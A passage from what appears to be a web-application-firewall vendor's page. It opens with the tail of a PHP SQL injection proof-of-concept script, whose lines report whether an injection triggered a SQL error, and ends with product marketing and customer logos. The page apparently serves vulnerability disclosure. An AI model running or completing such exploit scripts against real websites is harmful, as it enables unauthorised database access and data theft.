        echo "[+] Asserted: SQL injection vulnerability likely present (SQL error detected).n";
    } else {
        echo "[-] Asserted: Vulnerability did not trigger a SQL error. Site might be patched.n";
    }
} else {
    echo "[!] Unknown function. Use 'extract' or 'test'.n";
    exit(1);
}

echo "[+] Request sent to: " . $listing_page_url . "n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.